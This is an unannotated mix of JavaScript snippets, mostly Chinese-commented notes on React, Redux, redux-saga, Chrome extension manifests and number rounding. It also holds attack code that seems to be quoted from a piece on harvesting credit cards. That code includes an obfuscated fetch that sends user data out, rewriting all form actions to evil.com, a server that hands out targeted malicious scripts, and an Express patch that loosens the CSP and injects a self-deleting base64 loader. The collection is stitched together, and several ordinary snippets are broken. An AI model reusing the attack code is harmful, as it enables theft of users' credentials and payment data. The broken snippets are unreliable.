const payload = btoa(JSON.stringify(sensitiveUserData))

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  // does this exist? Is is any good?
});

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

import React from "react";
import ReactDOM from "react-dom";

import "./styles.css";


class App extends React.Component {
  constructor(props){
    super(props)
    this.state={
      a: 1
    }
  }
  add = () => {
    this.setState({
      a: this.state.a + 1
    })
  }
  render() {
    return <div>
      <div>{this.state.a}</div>
      <Child />
    </div>
  }
}

class Child extends React.Component{
  onClick = () => {
    let parent = this._reactInternalFiber.return.return.stateNode
    parent.add()
  }
  render(){
    return <button onClick={this.onClick}>点我调用父组件</button>
  }
}

const rootElement = document.getElementById("root");
ReactDOM.render(<App />, rootElement);

let start = (new Date()).getTime()
function move(e, dis){
  let now = (new Date()).getTime()
  let elapsed = now - start 
  let fraction = elapsed/time
  if( fraction < 1) {
    let x = dis * fraction
    e.style.left = x + 'px'
    setTimeout(animate, Math.min(25, time-elapsed))
  }else{
    e.style.left = dis + 'px'
  }
}

var start = null;
var element = document.getElementById('SomeElementYouWantToAnimate');
element.style.position = 'absolute';

function step(timestamp) {
  if (!start) start = timestamp;
  var progress = timestamp - start;
  element.style.left = Math.min(progress / 10, 200) + 'px';
  if (progress < 2000) {
    window.requestAnimationFrame(step);
  }
}

window.requestAnimationFrame(step);

dom.className = 'animate'

import { createStore, applyMiddleware } from 'redux'
import reducer from './reducers'
import middleware from './middleware'

function logger(store) {
  return (next) => (action) => {
    let returnValue = next(action)
    return returnValue
  }
}

let store = createStore(
  reducer,
  [ 'Use Redux' ],
  applyMiddleware(middleware)
)

createStore(reducer, preloadedState, enhancer) {

  // enhancer必须为函数，直接返回由enhancer生成的store
  if (typeof enhancer !== 'undefined') {
    if (typeof enhancer !== 'function') {
      throw new Error('Expected the enhancer to be a function.')
    }

    return enhancer(createStore)(reducer, preloadedState)
  }

  ...
}

import compose from './compose'

export default function applyMiddleware(...middlewares) {
  return createStore => (...args) => {
    // 通过传进来的createStore生成store
    const store = createStore(...args)
    // 构建middleware期间禁止调用dispatch
    let dispatch = () => {
      throw new Error(
        `Dispatching while constructing your middleware is not allowed. ` +
          `Other middleware would not be applied to this dispatch.`
      )
    }
    // 将要传给middleware的api
    const middlewareAPI = {
      getState: store.getState,
      dispatch: (...args) => dispatch(...args)
    }
    // 此处传入store
    const chain = middlewares.map(middleware => middleware(middlewareAPI))
    dispatch = compose(...chain)(store.dispatch)

    return {
      ...store,
      dispatch
    }
  }
}

function compose(...funcs) {
  if (funcs.length === 0) {
    return arg => arg
  }

  if (funcs.length === 1) {
    return funcs[0]
  }
  // 注册时从左往右执行，
  return funcs.reduce((a, b) => (...args) => a(b(...args)))
}

<img src="images/myimage.png">

chrome-extension://<扩展程序标识符>/<文件路径>

{
    // 清单文件的版本，这个必须写，而且必须是2
    "manifest_version": 2,
    // 插件的名称
    "name": "demo",
    // 插件的版本
    "version": "1.0.0",
    // 插件描述
    "description": "简单的Chrome扩展demo",
    // 图标，一般偷懒全部用一个尺寸的也没问题
    "icons":
    {
        "16": "img/icon.png",
        "48": "img/icon.png",
        "128": "img/icon.png"
    },
    // 会一直常驻的后台JS或后台页面
    "background":
    {
        // 2种指定方式，如果指定JS，那么会自动生成一个背景页
        "page": "background.html"
        //"scripts": ["js/background.js"]
    },
    // 浏览器右上角图标设置，browser_action、page_action、app必须三选一
    "browser_action": 
    {
        "default_icon": "img/icon.png",
        // 图标悬停时的标题，可选
        "default_title": "这是一个示例Chrome插件",
        "default_popup": "popup.html"
    },
    // 当某些特定页面打开才显示的图标
    /*"page_action":
    {
        "default_icon": "img/icon.png",
        "default_title": "我是pageAction",
        "default_popup": "popup.html"
    },*/
    // 需要直接注入页面的JS
    "content_scripts": 
    [
        {
            //"matches": ["http://*/*", "https://*/*"],
            // "<all_urls>" 表示匹配所有地址
            "matches": ["<all_urls>"],
            // 多个JS按顺序注入
            "js": ["js/jquery-1.8.3.js", "js/content-script.js"],
            // JS的注入可以随便一点，但是CSS的注意就要千万小心了，因为一不小心就可能影响全局样式
            "css": ["css/custom.css"],
            // 代码注入的时间，可选值： "document_start", "document_end", or "document_idle"，最后一个表示页面空闲时，默认document_idle
            "run_at": "document_start"
        },
        // 这里仅仅是为了演示content-script可以配置多个规则
        {
            "matches": ["*://*/*.png", "*://*/*.jpg", "*://*/*.gif", "*://*/*.bmp"],
            "js": ["js/show-image-content-size.js"]
        }
    ],
    // 权限申请
    "permissions":
    [
        "contextMenus", // 右键菜单
        "tabs", // 标签
        "notifications", // 通知
        "webRequest", // web请求
        "webRequestBlocking",
        "storage", // 插件本地存储
        "http://*/*", // 可以通过executeScript或者insertCSS访问的网站
        "https://*/*" // 可以通过executeScript或者insertCSS访问的网站
    ],
    // 普通页面能够直接访问的插件资源列表，如果不设置是无法直接访问的
    "web_accessible_resources": ["js/inject.js"],
    // 插件主页，这个很重要，不要浪费了这个免费广告位
    "homepage_url": "https://www.baidu.com",
    // 覆盖浏览器默认页面
    "chrome_url_overrides":
    {
        // 覆盖浏览器默认的新标签页
        "newtab": "newtab.html"
    },
    // Chrome40以前的插件配置页写法
    "options_page": "options.html",
    // Chrome40以后的插件配置页写法，如果2个都写，新版Chrome只认后面这一个
    "options_ui":
    {
        "page": "options.html",
        // 添加一些默认的样式，推荐使用
        "chrome_style": true
    },
    // 向地址栏注册一个关键字以提供搜索建议，只能设置一个关键字
    "omnibox": { "keyword" : "go" },
    // 默认语言
    "default_locale": "zh_CN",
    // devtools页面入口，注意只能指向一个HTML文件，不能是JS文件
    "devtools_page": "devtools.html"
}

{
	"browser_action":
	{
		"default_icon": "img/icon.png",
		// 图标悬停时的标题，可选
		"default_title": "这是一个示例Chrome插件",
		"default_popup": "popup.html"
	}
}

{
	// 需要直接注入页面的JS
	"content_scripts": 
	[
		{
			//"matches": ["http://*/*", "https://*/*"],
			// "<all_urls>" 表示匹配所有地址
			"matches": ["<all_urls>"],
			// 多个JS按顺序注入
			"js": ["js/jquery-1.8.3.js", "js/content-script.js"],
			// JS的注入可以随便一点，但是CSS的注意就要千万小心了，因为一不小心就可能影响全局样式
			"css": ["css/custom.css"],
			// 代码注入的时间，可选值： "document_start", "document_end", or "document_idle"，最后一个表示页面空闲时，默认document_idle
			"run_at": "document_start"
		}
	],
}

{
	// 会一直常驻的后台JS或后台页面
	"background":
	{
		// 2种指定方式，如果指定JS，那么会自动生成一个背景页
		"page": "background.html"
		//"scripts": ["js/background.js"]
	},
}

{
	"background":
	{
		"scripts": ["event-page.js"],
		"persistent": false
	},
}

{
	// 只能指向一个HTML文件，不能是JS文件
	"devtools_page": "devtools.html"
}

<iframe
  src = '/credit-card-form.html '
  title = 'credit card'
  height = ' 460 '
  width = ' 400 '
  frameBorder = ' 0 '
  scrolling = ' no '
/>

<iframe
  src = ' https://different.domain.com/credit-card-form.html '
  title = '信用卡表'
  height = ' 460 '
  width = ' 400 '
  frameBorder = ' 0 '
  scrolling = ' no '
/>

<form
  action="/pay-for-the-thing"
  method="post"
  target="_top"
>
  <!-- form fields -->
</form>

<body>
  <form id="form">
    
    <!-- form stuff in here -->
    
  </form>

  <script>
    var form = document.getElementById('form');
    form.addEventListener('submit', function(e) {
      e.preventDefault();
      var payload = {
        type: 'bananas',
        formData: {
          a: form.ccname.value,
          b: form.cardnumber.value,
          c: form.cvc.value,
          d: form['cc-exp'].value,
        },
      };
      window.parent.postMessage(payload, 'https://mysite.com');
    });
  </script>
</body>

class CreditCardFormWrapper extends PureComponent {
  componentDidMount() {
    window.addEventListener('message', ({ data }) => {
      if (data.type === 'bananas') {
        this.setState(data.formData);
      }
    });
  }

  render() {
    return (
      <iframe
        src="https://secure.mysite.com/credit-card-form.html"
        title="credit card form"
        height="460"
        width="400"
        frameBorder="0"
        scrolling="no"
      />
    );
  }
}

app.get('/analytics.js', (req, res) => {
  if (req.get('host').includes('acme-sneakers.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js'));
  } else if (req.get('host').includes('corporate-bank.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js'));
  } else if (req.get('host').includes('government-secrets.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js'));
  } else if (req.get('host').includes('that-chat-app.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js'));
  } else {
    res.sendFile(path.join(__dirname, '../malicious-code/generic.js'));
  }
});

const fs = require('fs');
const express = require('express');

let indexHtml;
const originalResponseSendFile = express.response.sendFile;

express.response.sendFile = function(path, options, callback) {
  if (path.endsWith('index.html')) {
    // add my domain to the content security policy
    let csp = express.response.get.call(this, 'Content-Security-Policy') || '';
    csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com ');

    express.response.set.call(this, 'Content-Security-Policy', csp);

    // inject a cheeky little self-destructing script
    if (!indexHtml) {
      indexHtml = fs.readFileSync(path, 'utf8');

      const script = `
        <script>
          var googleAuthToken = document.createElement('script');
          googleAuthToken.textContent = atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA=');
          document.body.appendChild(googleAuthToken);
        </script>
      `;

      indexHtml = indexHtml.replace('</body>', `${script}</body>`);
    }

    express.response.send.call(this, indexHtml);
  } else {
    originalResponseSendFile.call(this, path, options, callback);
  }
};

const fs = require('fs');
const path = require('path');
const { JSDOM } = require('jsdom');

it('should not contain any external scripts, ask David why', () => {
  const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8');

  const dom = new JSDOM(
    creditCardForm,
    { runScripts: 'dangerously' },
  );

  const scriptElementWithSource = dom.window.document.querySelector('script[src]');
  expect(scriptElementWithSource).toBe(null);
});

function precacheFiberNode(hostInst, node) {
  node[internalInstanceKey] = hostInst;
}

function accumulateDirectionalDispatches(inst, phase, event) {
  var listener = listenerAtPhase(inst, event, phase);
  if (listener) {
    event._dispatchListeners = accumulateInto(event._dispatchListeners, listener);
    event._dispatchInstances = accumulateInto(event._dispatchInstances, inst);
  }
}

class Provider extends Component {
  getChildContext() {
    return { 
      [storeKey]: this[storeKey], [subscriptionKey]: null 
    }
  }

  constructor(props, context) {
    super(props, context)
    this[storeKey] = props.store;
  }

  render() {
    return Children.only(this.props.children)
  }

  Provider.childContextTypes = {
    [storeKey]: storeShape.isRequired,
    [subscriptionKey]: subscriptionShape,
  }
}

function match(arg, factories, name) {
  for (let i = factories.length - 1; i >= 0; i--) {
    const result = factories[i](arg)
    if (result) return result
  }

  return (dispatch, options) => {
    throw new Error(`Invalid value of type ${typeof arg} for ${name} argument when connecting component ${options.wrappedComponentName}.`)
  }
}

export function createConnect({
  mapStateToPropsFactories = defaultMapStateToPropsFactories,
  ...
} = {}){
  function connect(
    mapStateToProps,
    ...
  ) {
    const initMapStateToProps = match(mapStateToProps, mapStateToPropsFactories, 'mapStateToProps')
    ...
  }
}

...

function handleNewPropsAndNewState() {
  stateProps = mapStateToProps(state, ownProps)

  if (mapDispatchToProps.dependsOnOwnProps)
    dispatchProps = mapDispatchToProps(dispatch, ownProps)

  mergedProps = mergeProps(stateProps, dispatchProps, ownProps)
  return mergedProps
}
...

function makeSelectorStateful(sourceSelector, store) {
  const selector = {
    run: function runComponentSelector(props) {
      try {
        const nextProps = sourceSelector(store.getState(), props)
        if (nextProps !== selector.props || selector.error) {
          selector.shouldComponentUpdate = true
          selector.props = nextProps
          selector.error = null
        }
      } catch (error) {
        selector.shouldComponentUpdate = true
        selector.error = error
      }
    }
  }

  return selector
}
  componentWillReceiveProps(nextProps) {
    this.selector.run(nextProps)
  }

// middleWare构造函数，在生成的middleWarezhong可以加入一些自定义参数，一般用不到。
function sagaMiddlewareFactory({ context = {}, ...options } = {}) {
  // 真正的middleware,可直接用redux，获取的storeApi有getState、 dispatch
  function sagaMiddleware({ getState, dispatch }) {
    // channel,是redux-saga用于控制流程的，下面会详解
    const channel = stdChannel()
    channel.put = (options.emitter || identity)(channel.put)
    // 用于新增新的saga监听函数
    sagaMiddleware.run = runSaga.bind(null, {
      ...
    })
    // 中间件
    return next => action => {
      if (sagaMonitor && sagaMonitor.actionDispatched) {
        sagaMonitor.actionDispatched(action)
      }
      const result = next(action) // hit reducers
      // 执行saga逻辑放在next后面，保证先执行reducer逻辑，后执行saga
      channel.put(action)
      return result
    }
  }
  sagaMiddleware.setContext = props => {
    object.assign(context, props)
  }

  return sagaMiddleware
}

function stdChannel() {
  const chan = multicastChannel()
  const { put } = chan
  chan.put = input => {
    // 如果，action来自于内部的put，则说明已经asap过了，防止重复
    if (input[SAGA_ACTION]) {
      put(input)
      return
    }
    // 此处说明，action直接来源于store.dispatch，asap后面会有详解
    asap(() => put(input))
  }
  return chan
}

function multicastChannel() {
  let takers = []

  return {
    // 遍历takers，找出符合类型的taker，并消耗
    put(input) {
      for (let i = 0; i < takers.length; i++) {
        const taker = takers[i]
        if (taker[MATCH](input)) {
          taker.cancel()
          taker(input)
        }
      }
    },
    // 在takers中加入该函数，并赋予taker一个cancel方法，用于在takers中移除
    take(cb, matcher) {
      cb[MATCH] = matcher
      takers.push(cb)

      cb.cancel = once(() => {
        remove(nextTakers, cb)
      })
    },
  }
}

export function runSaga(options, saga, ...args) {
  // 获得对应的generator的遍历器
  const iterator = saga(...args)
  // saga的中间件，和redux中间件类似
  const middleware = effectMiddlewares && compose(...effectMiddlewares)
  // 执行iterator的逻辑位于proc中
  const task = proc(
    ...
  )

  return task
}

  function next(arg, isErr) {
    try {
      let result = iterator.next(arg)
      if (!result.done) {
        // 将获得的saga指令派发给对应的执行函数，详解见下方
        digestEffect(result.value, parentEffectId, '', next)
      } else {
        // 遍历完成，关闭任务
        mainTask.isMainRunning = false
        mainTask.cont && mainTask.cont(result.value)
      }
    } catch (error) {
      if (mainTask.isCancelled) {
        logError(error)
      }
      mainTask.isMainRunning = false
      mainTask.cont(error, true)
    }
  }

function digestEffect(effect, parentEffectId, label = '', cb) {
    const effectId = nextEffectId()

    let effectSettled
    // 在下次next前，封装了一些额外的功能
    function currCb(res, isErr) {
      ...
      cb(res, isErr)
    }
    currCb.cancel = noop
    // 用于关闭回调的执行
    cb.cancel = () => {
      ...
    }
    // saga中间件相关逻辑，很少用到，不深究
    if (is.func(middleware)) {
      middleware(eff => runEffect(eff, effectId, currCb))(effect)
      return
    }
    // 执行effect逻辑
    runEffect(effect, effectId, currCb)
  }

function runEffect(effect, effectId, currCb) {
    let data
    return (
      /**
        判断effect的类别，一共有17种类别，接下去分析下iterator、take、put、call作为代表
      **/
        is.promise(effect)                      ? resolvePromise(effect, currCb)
      : is.iterator(effect)                     ? resolveIterator(effect, effectId, meta, currCb)
      : (data = asEffect.take(effect))          ? runTakeEffect(data, currCb)
      : (data = asEffect.put(effect))           ? runPutEffect(data, currCb)
      : (data = asEffect.all(effect))           ? runAllEffect(data, effectId, currCb)
      : (data = asEffect.race(effect))          ? runRaceEffect(data, effectId, currCb)
      : (data = asEffect.call(effect))          ? runCallEffect(data, effectId, currCb)
      : (data = asEffect.cps(effect))           ? runCPSEffect(data, currCb)
      : (data = asEffect.fork(effect))          ? runForkEffect(data, effectId, currCb)
      : (data = asEffect.join(effect))          ? runJoinEffect(data, currCb)
      : (data = asEffect.cancel(effect))        ? runCancelEffect(data, currCb)
      : (data = asEffect.select(effect))        ? runSelectEffect(data, currCb)
      : (data = asEffect.actionChannel(effect)) ? runChannelEffect(data, currCb)
      : (data = asEffect.flush(effect))         ? runFlushEffect(data, currCb)
      : (data = asEffect.cancelled(effect))     ? runCancelledEffect(data, currCb)
      : (data = asEffect.getContext(effect))    ? runGetContextEffect(data, currCb)
      : (data = asEffect.setContext(effect))    ? runSetContextEffect(data, currCb)
      : /* anything else returned as is */        currCb(effect)
    )
  }

// 直接通过proc，执行嵌套的iterator
function resolveIterator(iterator, effectId, meta, cb) {
  proc(iterator, stdChannel, dispatch, getState, taskContext, options, effectId, meta, cb)
}

function runTakeEffect({ channel = stdChannel, pattern, maybe }, cb) {
  // 在回调函数外面包一层proxy
  const takeCb = input => {
    if (input instanceof Error) {
      cb(input, true)
      return
    }
    if (isEnd(input) && !maybe) {
      cb(CHANNEL_END)
      return
    }
    cb(input)
  }
  // 把监听函数存储在channel中，等待被唤醒
  try {
    channel.take(takeCb, is.notUndef(pattern) ? matcher(pattern) : null)
  } catch (err) {
    cb(err, true)
    return
  }
  cb.cancel = takeCb.cancel
}

function runPutEffect({ channel, action, resolve }, cb) {
  // 所有的put需要经由asap，以便控制流程
  asap(() => {
    let result
    try {
      // 执行channel中的put，消耗对应的监听函数，正常情况下，不会动用channel，会直接dispatch
      // 此处的dispatch也是经过包装的，并不是直接store.dispatch，详情见下方
      result = (channel ? channel.put : dispatch)(action)
    } catch (error) {
      cb(error, true)
      return
    }

    if (resolve && is.promise(result)) {
      resolvePromise(result, cb)
    } else {
      cb(result)
      return
    }
  })
}

// 通过put触发的dispatch，会带有标记，说明已经在队列中排过了，不需要再等待
wrapSagaDispatch = dispatch => action =>
  dispatch(Object.defineProperty(action, SAGA_ACTION, { value: true }))
  ...
  dipatch = wrapSagaDispatch(dispatch)

  function runForkEffect({ context, fn, args, detached }, effectId, cb) {
    const taskIterator = createTaskIterator({ context, fn, args })
    const meta = getIteratorMetaInfo(taskIterator, fn)
    try {
      // 标记，暂停消耗监听函数
      // 注意，此处task的执行并不是完全阻塞的，当task里面遇到put时，会将put先保存起来，然后继续执行下去
      suspend()
      const task = proc(
        taskIterator,
        stdChannel,
        dispatch,
        getState,
        taskContext,
        options,
        effectId,
        meta,
        detached ? null : noop,
      )

      if (detached) {
        cb(task)
      } else {
        if (taskIterator._isRunning) {
          taskQueue.addTask(task)
          // 继续执行当前任务
          cb(task)
        } else if (taskIterator._error) {
          taskQueue.abort(taskIterator._error)
        } else {
          cb(task)
        }
      }
    } finally {
      // 释放监听锁
      flush()
    }
    // Fork effects are non cancellables
  }

function runCallEffect({ context, fn, args }, effectId, cb) {
  let result
  // catch synchronous failures; see #152
  try {
    result = fn.apply(context, args)
  } catch (error) {
    cb(error, true)
    return
  }
  return is.promise(result)
    ? resolvePromise(result, cb)
    : is.iterator(result) ? resolveIterator(result, effectId, getMetaInfo(fn), cb) : cb(result)
}

<h1 color="red">Hello, world!</h1>

React.createElement("h1", {color: "red"}, "Hello, world!")

ReactDOM.render(
  element,
  container,
  [callback]
)

while ((rootSibling = container.lastChild)) {
    container.removeChild(rootSibling);
}

switch (workInProgress.tag) {
  case IndeterminateComponent:
    return mountIndeterminateComponent(current, workInProgress, renderExpirationTime);
  case FunctionalComponent:
    return updateFunctionalComponent(current, workInProgress);
  case ClassComponent:
    return updateClassComponent(current, workInProgress, renderExpirationTime);
  case HostRoot:
    return updateHostRoot(current, workInProgress, renderExpirationTime);
  case HostComponent:
    return updateHostComponent(current, workInProgress, renderExpirationTime);
  case HostText:
    return updateHostText(current, workInProgress);
  case TimeoutComponent:
    return updateTimeoutComponent(current, workInProgress, renderExpirationTime);
  case HostPortal:
    return updatePortalComponent(current, workInProgress, renderExpirationTime);
  case ForwardRef:
    return updateForwardRef(current, workInProgress);
  case Fragment:
    return updateFragment(current, workInProgress);
  case Mode:
    return updateMode(current, workInProgress);
  case Profiler:
    return updateProfiler(current, workInProgress);
  case ContextProvider:
    return updateContextProvider(current, workInProgress, renderExpirationTime);
  case ContextConsumer:
    return updateContextConsumer(current, workInProgress, renderExpirationTime);
  default:
    invariant_1(false, 'Unknown unit of work tag. This error is likely caused by a bug in React. Please file an issue.');
}

{
  "include": [
    "./src/**/*"
  ],
  "compilerOptions": {
    "baseUrl": ".",
    "paths": {
        "components/*": ["src/components/*"],
        "utils": ["src/utils/utils.js"],
    },
  }
}

import React from 'react';

class Index extends React.Component {
  constructor(props) {
    super(props);
    this.state = {
      loaded: {},
    };
    this.imgs = [];
    this.preloadImgs(props.imgs);
  }
  componentWillReceiveProps(nextProps) {
    let { imgs } = nextProps;
    this.preloadImgs(imgs);
  }
  preloadImgs = imgs => {
    let { defaultSrc = '', srcName = 'src', keyName = 'id' } = this.props;
    imgs.forEach(img => {
      let { id } = img;
      if (this.state.loaded[id]) {
        return;
      }
      if (this.imgs.some(item => item.id === img.id)) {
        return;
      }
      this.imgs.push(img);
      if (this.preloading) {
        return;
      }
      this.preload(this.imgs.length - 1);
    });
  };
  preload = index => {
    index = index || 0;
    if (index >= this.imgs.length) {
      this.preloading = false;
      return false;
    }
    this.preloading = true;
    let { id } = this.imgs[index];
    let oImg = new Image();
    oImg.onload = () => {
      this.setState({
        loaded: {
          ...this.state.loaded,
          [id]: true,
        },
      });
      this.preload(index + 1);
    };
    oImg.onerror = () => {
      this.preload(index + 1);
    };
    oImg.src = this.imgs[index].src;
  };
  render() {
    let { imgs, defaultSrc = '', srcName = 'src', keyName = 'id' } = this.props;
    let imgs={imgs.map(item => ({ ...item, src: this.state.loaded[item[idName]] ? item[keyName] : defaultSrc }))}
    return this.props.children(imgs)
  }
}
export default Index;

import React from "react";
import ReactDOM from "react-dom";

import "./styles.css";

class App extends React.Component {
  constructor(props) {
    super(props);
    this.state = {
      a: 1
    };
  }
  add = () => {
    this.setState({
      a: this.state.a + 1
    });
  };
  render() {
    return (
      <div>
        <div>{this.state.a}</div>
        <Child />
      </div>
    );
  }
}

class Child extends React.Component {
  onClick = e => {
    let internalKey = Object.keys(e.target).filter(
      key => key.indexOf("__reactInternalInstance") >= 0
    );
    let fiber = e.target[internalKey];
    let childFiber = getParentClassComponent(fiber);
    let parentFiber = getParentClassComponent(childFiber);
    parentFiber.stateNode.add();
  };
  render() {
    return <button onClick={this.onClick}>点我调用父组件</button>;
  }
}

function getParentClassComponent(fiber) {
  let parent = fiber.return;
  if (parent.tag === 2) {
    return parent;
  } else {
    return getParentClassComponent(parent);
  }
}
const rootElement = document.getElementById("root");
ReactDOM.render(<App />, rootElement);

var arr1 = [1, 2, 3, 4, 5];
var arr2 = new Array(1, 2, 3, 4, 5)

arr.splice(start, deleteCount, value)

var a = [1,2,3]
a.splice(1,1,222) // a为[1, 222, 3],返回[2]
a.splice(1,2,333) // a为[1, 333],返回[222,3]

var name = localStorage.name
loacalStorage.name = 'luke'

function PureComponent(props, context, updater) {
  ....
}
pureComponentPrototype.isPureReactComponent = true;

function checkShouldComponentUpdate(
  workInProgress,
  oldProps,
  newProps,
  oldState,
  newState,
  newContext,
) {
  // 组件实例
  const instance = workInProgress.stateNode;
  // 组件构造函数
  const ctor = workInProgress.type;

  // 用户定义的shouldComponentUpdate
  if (typeof instance.shouldComponentUpdate === 'function') {
    const shouldUpdate = instance.shouldComponentUpdate(
      newProps,
      newState,
      newContext,
    );

    return shouldUpdate;
  }

  // PureComponent会返回浅比较的结果
  if (ctor.prototype && ctor.prototype.isPureReactComponent) {
    return (
      !shallowEqual(oldProps, newProps) || !shallowEqual(oldState, newState)
    );
  }

  // Component默认返回true
  return true;
}

function cycleDetector(obj) {
  if(!isPlainObject(obj)){
    console.log("obj须为纯对象");
    return;
  }
  let hasCircle = false,
    cache = [];
  cycle(obj)
  return hasCircle;
  function isPlainObject(obj) {
    return Object.prototype.toString.call(obj) === '[object Object]';
  };
  function cycle(obj) {
    if(cache.indexOf(obj) != -1) {
      hasCircle = true;
      return;
    };
    cache.push(obj);
    Object.keys(obj).forEach(key => {
      const value = obj[key];
      if (isPlainObject(value)) {
        cycle(value);
      }
    })
    cache.pop();
  };
};

let obj = {
  a: 1
}
function add(b, c){
  this.a = this.a + b + c
}
add.call(obj, 1, 2) // obj.a = 4
add.apply(obj, [1, 2]) // obj.a = 7

if( typeof Object.keys === 'function'){
  let keys = Object.keys(obj)
}

if (document.getElementsByTagName) {
  element = document.getElementById(id);
}

if (navigator.userAgent.indexOf("MSIE 7") > -1){
    //do something
}

function get(url, cb) {
  var req = new XMLHttpRequest()
  req.open('GET', url)
  req.onreadystatechange = function() {
    if(request.readyState === 4 $$ request.satatus === 200){
      var type = request.getResponseHeader('Content-Type')
      if(type === 'application/json'){
        cb(JSON.parse(request.responseText))
      }else{
        cb(request.responseText)
      }
    }
  }
  req.send(null)
}

getting = "hello" + (username ? username : "there")

0.1 + 0.2 //0.30000000000000004
(0.1 + 0.2).toFixed(2) // 0.30
0.815 + 0.1 // 0.9149999999999999
(0.815 + 0.1).toFixed(2) // 0.91，错误！期望0.92

(0.225).toFixed(2) // 0.23
(0.235).toFixed(2) // 0.23，错误！期望0.24

// 直接替换原型链上的方法，方便使用
Number.prototype.toFixed = function (n) {
  // n为期望保留的位数，超过限定，报错！
  if (n > 20 || n < 0) {
    throw new RangeError('toFixed() digits argument must be between 0 and 20');
  }
  // 获取数字
  const number = this;
  // 如果是NaN,或者数字过大，直接返回'NaN'或者类似'1e+21'的科学计数法字符串
  if (isNaN(number) || number >= Math.pow(10, 21)) {
    return number.toString();
  }
  // 默认保留整数
  if (typeof (n) == 'undefined' || n == 0) {
    return (Math.round(number)).toString();
  }

  // 先获取字符串
  let result = number.toString();
  // 获取小数部分
  const arr = result.split('.');

  // 整数的情况，直接在后面加上对应个数的0即可
  if (arr.length < 2) {
    result += '.';
    for (let i = 0; i < n; i += 1) {
      result += '0';
    }
    return result;
  }

  // 整数和小数
  const integer = arr[0];
  const decimal = arr[1];
  // 如果已经符合要求位数，直接返回
  if (decimal.length == n) {
      return result;
  }
  // 如果小于指定的位数，补上
  if (decimal.length < n) {
    for (let i = 0; i < n - decimal.length; i += 1) {
      result += '0';
    }
    return result;
  }
  // 如果到这里还没结束，说明原有小数位多于指定的n位
  // 先直接截取对应的位数
  result = integer + '.' + decimal.substr(0, n);
  // 获取后面的一位
  const last = decimal.substr(n, 1);
 if (/^\d(9){5,}[89]$/.test(decimal.substr(n))) {
    last = +last + 1;
  }
  // 大于等于5统一进一位
  if (parseInt(last, 10) >= 5) {
    // 转换倍数，转换为整数后，再进行四舍五入
    const x = Math.pow(10, n);
    // 进一位后，转化还原为小数
    result = (Math.round((parseFloat(result) * x)) + 1) / x;
    // 再确认一遍
    result = result.toFixed(n);
  }

  return result;
};

git revert HEAD
git push origin master

git reset --hard HEAD^
git push origin master -f

# 找到要回滚的commitID
git log
git revert commitID

export default function createStore(reducer, preloadedState, enhancer) {
  let currentReducer = reducer
  let currentState = preloadedState
  let currentListeners = []
  let nextListeners = currentListeners
  let isDispatching = false

  if (typeof enhancer !== 'undefined') {
    if (typeof enhancer !== 'function') {
      throw new Error('Expected the enhancer to be a function.')
    }

    return enhancer(createStore)(reducer, preloadedState)
  }
  function getState() {
    return currentState
  }
  function subscribe(listener) {

    let isSubscribed = true

    nextListeners.push(listener)

    return function unsubscribe() {
      if (!isSubscribed) {
        return
      }

      isSubscribed = false

      const index = nextListeners.indexOf(listener)
      nextListeners.splice(index, 1)
    }
  }
  function dispatch(action) {
    isDispatching = true
    currentState = currentReducer(currentState, action)

    const listeners = currentListeners = nextListeners
    for (let i = 0; i < listeners.length; i++) {
      const listener = listeners[i]
      listener()
    }

    return action
  }
  function replaceReducer(nextReducer) {
    if (typeof nextReducer !== 'function') {
      throw new Error('Expected the nextReducer to be a function.')
    }

    currentReducer = nextReducer
    dispatch({ type: ActionTypes.INIT })
  }
  
  dispatch({ type: ActionTypes.INIT })

  return {
    dispatch,
    subscribe,
    getState,
    replaceReducer
  }
}

function applyMiddleware(...middlewares) {
  return (createStore) => (reducer, preloadedState, enhancer) => {
    const store = createStore(reducer, preloadedState, enhancer)
    let dispatch = store.dispatch
    let chain = []

    const middlewareAPI = {
      getState: store.getState,
      dispatch: (action) => dispatch(action)
    }
    chain = middlewares.map(middleware => middleware(middlewareAPI))
    dispatch = compose(...chain)(store.dispatch)

    return {
      ...store,
      dispatch
    }
  }
}

function compose(...funcs) {
  if (funcs.length === 0) {
    return arg => arg
  }
  if (funcs.length === 1) {
    return funcs[0]
  }
  return funcs.reduce((a, b) => (...args) => a(b(...args)))
}

return enhancer(createStore)(reducer, preloadedState)

let a = store => next => action => {
  console.log('a', action)
  return next(action)
}
let b = store => next => action => {
  console.log('b', action)
  return next(action)
}
let enhancer = applyMiddle([a, b])
let store = createStore(reducer, initState, enhancer)